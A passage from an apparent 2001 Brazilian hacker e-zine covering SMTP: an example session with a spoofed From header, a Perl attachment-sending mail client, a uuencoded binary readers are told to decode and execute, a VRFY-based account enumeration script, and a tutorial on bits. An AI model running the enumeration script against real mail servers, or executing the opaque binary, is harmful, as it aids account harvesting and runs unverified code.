214 2.0.0 End of HELP info
-----------------
| Sessoes SMTP de |
| Exemplo |
-----------------
Enviando um e-mail:
220 genetic.com.br Simple Mail Transfer Service Ready.
HELO localhost
220 HELO genetic.com.br
MAIL FROM:<daniel_vs@ig.com.br>
250 daniel_vs@ig.com.br... Sender OK
RCPT TO:<monica_dutra@genetic.com.br>
250 monica_dutra@genetic.com.br... Recipient OK
DATA
250 Enter the data and finish with <CRLF>.<CRLF> itself
From: pcHazard <cybercrash@ig.com.br>
Subject: Eu te amo !
Monica, eu te amo !
Sei que as vezes eu nao expresso bem meus sentimentos para com
as pessoas a minha volta, especialmente as pessoas que eu amo,
e eh por isso que te digo agora que eu te amo, e todos os dias
eu penso em voce e em como seria bom se eu pudesse acordar todo
dia com a certeza de ter voce sempre ao meu lado...
Daniel
.
250 Mail accepted for delivery
QUIT
250 Closing transmittion channel.
------------------
| Clientes SMTP de |
| Exemplo |
------------------
Send Meiou v1.0
Envia e-mails com arquivos anexados
<++> protocolos/SMTP/smail.pl
#!/usr/bin/perl -w
use IO::Socket;
my $cinza_escuro = "\033[1;30m";
my $vermelho_claro = "\033[1;31m";
my $verde_claro = "\033[1;32m";
my $amarelo = "\033[1;33m";
my $azul_claro = "\033[1;34m";
my $rosa_claro = "\033[1;35m";
my $azul_claro2 = "\033[1;36m";
my $branco_claro = "\033[1;37m";
my $vermelho_escuro = "\033[0;31m";
my $verde_escuro = "\033[0;32m";
my $laranja = "\033[0;33m";
my $azul_escuro = "\033[0;34m";
my $rosa_escuro = "\033[0;35m";
my $azul_marinho = "\033[0;36m";
my $cinza_claro = "\033[0;37m";
my $normal = "\33[0;0m";
#my $clear = "\033[0;0H\033[J";
my $clear = "";
my $barra = "=" x 80;
$SIG{INT} = sub
{
print STDERR "\n\n2001 by pcHazard <cybercrash\@ig.com.br>\n\n$normal";
exit -1;
};
print STDERR << "EOT"
$normal$clear$verde_claro$barra$verde_escuro
SendMeiou v1.0
$verde_claro$barra$normal
EOT
;
my $server = ask("Servidor SMTP $azul_claro\[127.0.0.1]: ");
$server = "127.0.0.1" if ($server eq "");
my $mail_from = ask(" Origem $azul_claro\[cybercrash\@ig.com.br]: ");
$mail_from = "cybercrash\@ig.com.br" if ($mail_from eq "");
my $from = ask(" Nome $azul_claro\[pcHazard]: ");
$from = "pcHazard" if ($from eq "");
my $rcpt_to = ask(" Destino: ");
my $subject = ask(" Assunto: ");
my $corpo = "";
while (!-e $corpo)
{
$corpo = ask(" Corpo: ");
}
my @anexos;
my $numanexos;
my $anexo = "";
while (1)
{
$numanexos = $#anexos;
$numanexos++;
$anexo = ask(" Anexo \[$numanexos]: ");
if ($anexo ne "")
{
if (-e $anexo)
{
push @anexos, $anexo;
next;
}
else
{
print STDERR "$vermelho_escuro";
print STDERR " Arquivo nao Encontrado\n";
next;
}
}
else
{
last;
}
}
foreach my $file (@anexos)
{
print STDERR " $vermelho_claro$file\n";
}
$numanexos = $#anexos;
$numanexos = $numanexos + 1;
print STDERR "$branco_claro";
print STDERR " $vermelho_escuro$numanexos Arquivo(s) Anexo(s)\n";
info("+","Construindo corpo da mensagem...");
my $body = "";
my $shortfilename;
my $msgid = "sartre_". randtext() . "\@localhost";
my $bound = "Boundary-=_". randtext();
my $date = `date`;
chop($date);
$body .= "From: $from\r\n";
$body .= "Reply-To: $mail_from\r\n";
$body .= "To: $rcpt_to\r\n";
$body .= "Subject: $subject\r\n";
$body .= "Date: $date\r\n";
$body .= "X-Mailer: SendMeiou v1.0 by pcHazard\r\n";
$body .= "Content-Type: Multipart/Mixed;boundary=\"$bound\"\r\n";
$body .= "MIME-Version: 1.0\r\n";
$body .= "Message-Id: <$msgid>\r\n\r\n\r\n";
$body .= "--$bound\r\n";
$body .= "Content-Type: text/plain\r\n";
$body .= "Content-Transfer-Encoding: 8Bit\r\n\r\n";
$body .= filetostring($corpo);
my $encoded = "";
my @encs;
my $enc;
foreach my $file (@anexos)
{
info("+","Anexando arquivo: $file");
$body .= "--$bound\r\n";
$shortfilename = extractfilename($file);
$body .= "Content-Type: application/octet-stream; name=\"$shortfilename\"\r\n";
$body .= "Content-Transfer-Encoding: base64\r\n";
$body .= "Content-Disposition: attachment; filename=\"$shortfilename\"\r\n\r\n";
$enc = `./base64 $file`;
# @encs = split("\n","$enc");
# foreach my $ence (@encs)
# {
# chop($ence);
# $encoded .= $ence."\r\n";
# }
# $body .= $encoded;
$body .= $enc;
}
$body .= "\r\n--$bound\r\n";
info("+","Anexacoes terminadas.");
info("+","Construcao do corpo da mensagem terminada.");
#info("+","Salvando copia da mensagem.");
#open(SAIDA,"> copia.txt");
#print SAIDA "$body";
#close(SAIDA);
#exit 0;
info("+","Conectando no servidor SMTP $server...");
my $sock = IO::Socket::INET->new(PeerAddr => "$server",
PeerPort => "25",
Proto => 'tcp');
my $recv;
my $code;
if ($sock)
{
info("+","Conectado no servidor SMTP.");
rec();
info("+","Servidor: $recv");
info("+","HELO");
print $sock "helo localhost\n";
rec();
if ($code ne "250")
{
info("-","Erro apos HELO: $recv");
close($sock);
exit -1;
}
info("+","MAIL");
print $sock "mail from:<$mail_from>\n";
rec();
if ($code ne "250")
{
info("-","Erro apos MAIL: $recv");
close($sock);
exit -1;
}
info("+","RCPT");
print $sock "rcpt to:<$rcpt_to>\n";
rec();
if ($code ne "250")
{
info("-","Erro apos RCPT: $recv");
close($sock);
exit -1;
}
info("+","DATA");
print $sock "data\n";
rec();
if ($code ne "354")
{
info("-","Erro apos DATA: $recv");
close($sock);
exit -1;
}
my $size = length($body);
my $sent = 0;
my $resto = $size;
my $block = "";
my $numblocks = $size / 1024;
info("+","Enviando e-mail ($size bytes, $numblocks blocos) ...");
my $percent;
while ($resto != 0)
{
$block = substr($body,0,1024);
substr($body,0,1024) = "";
print $sock "$block";
$resto = $resto - length($block);
$sent = $sent + length($block);
$percent = $sent * 100;
$percent = $percent / $size;
printf "Enviado $sent de $size (%d porcento)\n", $percent;
#info("+","Enviado $sent de $size ($percent%)");
}
print $sock "\n.\n";
rec();
if ($code ne "250")
{
info("-","Erro apos fim da transmissao: $recv");
close($sock);
exit -1;
}
info("+","Confirmacao do Servidor: $recv");
print $sock "quit\n";
close($sock);
print STDERR "$normal\n";
exit 0;
}
else
{
info("-","Erro conectando no servidor SMTP: $server ($@)");
info("?","Verifique o endereco do servidor SMTP e tente novamente.");
exit -1;
}
sub rec
{
recv($sock,$recv,1024,0);
chop($recv);
$code = substr($recv,0,3);
}
sub randtext
{
my $str;
my $max= 15;
my @a=('a'..'z', '1'..'10');
for (1..$max)
{
$str .= $a[rand @a];
}
return $str;
}
sub info
{
my $symb = $_[0];
my $text = $_[1];
print STDERR "$normal";
print STDERR "[";
print STDERR "$branco_claro$symb";
print STDERR "$normal";
print STDERR "] $text\n";
}
sub ask
{
my $ask = $_[0];
my $answer;
print STDERR "$cinza_escuro";
print STDERR "$ask";
print STDERR "$branco_claro";
$answer = <STDIN>;
chop($answer);
print STDERR "$normal";
return $answer;
}
sub filetostring
{
my $file = $_[0];
my $conteudo = "";
open(ARQ, $file);
while (<ARQ>)
{
$part = $_;
$conteudo = $conteudo . $part;
}
close(ARQ);
return $conteudo;
}
sub extractfilename
{
#/usr/bin/cat
$s = $_[0];
my $l = length($s);
do {$l = $l - 1;} until ((substr($s,$l,1) eq "/") || ($l == 0));
return substr( $s, $l+1, length($s));
}
<-->
Base64
Necessario para criar os attachments do smail.pl
desencode com:
# cd protocolos/SMTP
# uudecode b64.txt
# gunzip base64
# chmod +x base64
<++> protocolos/SMTP/b64.txt
begin-base64 644 base64.gz
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
L+t+HUIgRsSKhiWBVcVuEUe1/A8J6/MA3j8AAA==
====
<-->
Verificador de Usuarios
<++> protocolos/SMTP/vrfy.pl
#!/usr/bin/perl
use IO::Socket;
my $sock;
my $Msg;
if ($#ARGV != 2)
{
print "\nVerificador de Usuarios\n";
print "=========================\n";
print "Uso: vrfy <lista> <log> <servidor_smtp>\n\n";
exit 0;
}
my $lista = $ARGV[0];
my $log = $ARGV[1];
my $txt;
my $count = 0;
my $login;
my $server = $ARGV[2];
my $barra = "================================================================================\n";
#my $eol = "\015\012";
my $eol = "\n";
my $cmd;
open(LISTA, "< $lista") or die "Lista Nao Existe: $lista\n";
print STDERR "$barra";
print STDERR "Conectando no Servidor $server:25...";
$sock = IO::Socket::INET->new(PeerAddr => $server,PeerPort => 25,Timeout => 5,Proto => 'tcp');
if ($sock)
{
print STDERR "Conectado.\n";
recv($sock,$Msg,4096,0);
$Msg = substr($Msg,0,length($Msg)-2);
print STDERR "$barra";
print STDERR "$Msg\n";
print STDERR "$barra";
print $sock "HELO localhost$eol";
recv($sock,$Msg,1024,0);
while (<LISTA>)
{
s/\b(p)earl\b/${1}erl/i;
$login = $_;
$login = substr($login,0,length($login)-1);
$count++;
print STDERR "[$count] $login: ";
print $sock "VRFY $login$eol";
recv($sock,$Msg,4096,0);
$Msg = substr($Msg,0,length($Msg)-2);
$cmd = substr($Msg,0,3);
if ($cmd eq "250")
{
print STDERR "Existe.\n";
escreve($log,"$login@$server\n");
}
elsif ($cmd eq "550")
{
print STDERR "Nao Existe.\n";
}
else
{
print STDERR "Desconhecido: $Msg\n";
}
}
}
else
{
print STDERR "Erro Conectando.\n";
}
print "$barra";
sub escreve
{
my($arq, $txt) = @_;
open(LOG, ">> $arq") or die "Erro ao Escrever no Log";
print LOG "$txt";
close LOG;
}
<-->
Well... tudo estah bem quando termina bem ;-)
-= Anapolis, GO, Brasil 22 Mai 2001 10:30:18 =-
-= 2001 by pcHazard <cybercrash@ig.com.br> =-
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 05 - Bits ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Vou falar aki de algo realmente simples. Algo que deveria ser ensinado
em todas as aulas de informatica mas nao eh, ou nao eh claramente explicado
e mtos acabam nao entendendo.
Eh.. vou dar uma palinha sobre bits e tentar puchar para o lado mais
avancado sobre vantagens em saber manipula-los.
Um bit eh a quantidade minima de armazenamento na memoria. Um bit soh
pode receber dois tipos de valores: Verdadeiro (1) ou Falso (0). O que recebe
nome de linguagem binaria.
8 bits em serie formam um byte.
Ok.. aki que muitos se perdem... como um byte pode ser gerado por
8 bits?? Vamos pensar juntos:
00000000
Isto eh um byte composto apenas por valores Falsos. Entao um kra
decidiu dizer que isto pode ser o mesmo q 0.
Ae esse mesmo kra achou q:
00000001
Poderia muito bem representar o numero 1 na linguagem binaria.
Assim como:
00000010 representa 2
00000011 representa 3
00000100 representa 4
00000101 representa 5
00000110 representa 6
00000111 representa 7
E por ae vai...
Estes 8 bits podem gerar numeros de 0 a 255.
11111111 representa 255
Em alguns sistemas, o oitavo bit serve de paridade. Sendo assim os bits
de informacoes sao apenas 7 e o numero maximo formado por eles eh 127.
1111111 representa 127
Em geral a paridade eh feita por um bit extra. Mas pra que serve o
bit de paridade?? Simplesmente para conferir se a informacao do byte esta
correta. Existem maquinas que usam mais de um bit de paridade para se certi-
ficarem de que a informacao sempre estara' correta.
Como ele funciona? Eh simples... Simplesmente conta quantos bits tem o
valor 1. Se o numero de bits for par, o bit paridade assume valor 1. Se for
impar, 0.
Mas voltando aos bits de informacao:
Com 8 bits podemos gerar valores de 0 a 255. Em hexadecimal os valores
vao de 0 a FF. Ahhhh!!! Entendeu agora pq usar liguagem hexadecimal??
Utilizando apenas 2 casas hexadecimais podemos gerar todo o tipo de byte.
C usassemos numeros decimais precisariamos de 1 casa a mais (o que seria
um grande problema de espaco) alem dos valores nao ficarem arredondados. Ou
seja: em hexadecimal vai de 00 a FF e nao sobra nenhum valor, emquanto em
decimal vai de 000 a 255 sobrando todos os valores de 256 a 999.
Notou como as coisas funcionam?? nao foi algo inventado para complicar a
vida e sim com base em mtos calculos para deixar o sistema mais inteligente.
Estes bytes (de 0 a FF) foram padronisados com valores em uma tabela ASCII
para que em todas as maquinas eles representem os mesmos valores. Assim sendo,
todas as maquinas irao reconhecer o byte 6a como sendo "j".
Veja a seguinte tabelinha abaixo:
binario decimal hexadecimal ASCII
01100001 97 61 a
01100010 98 62 b
01100011 99 63 c
01100100 100 64 d
etc...
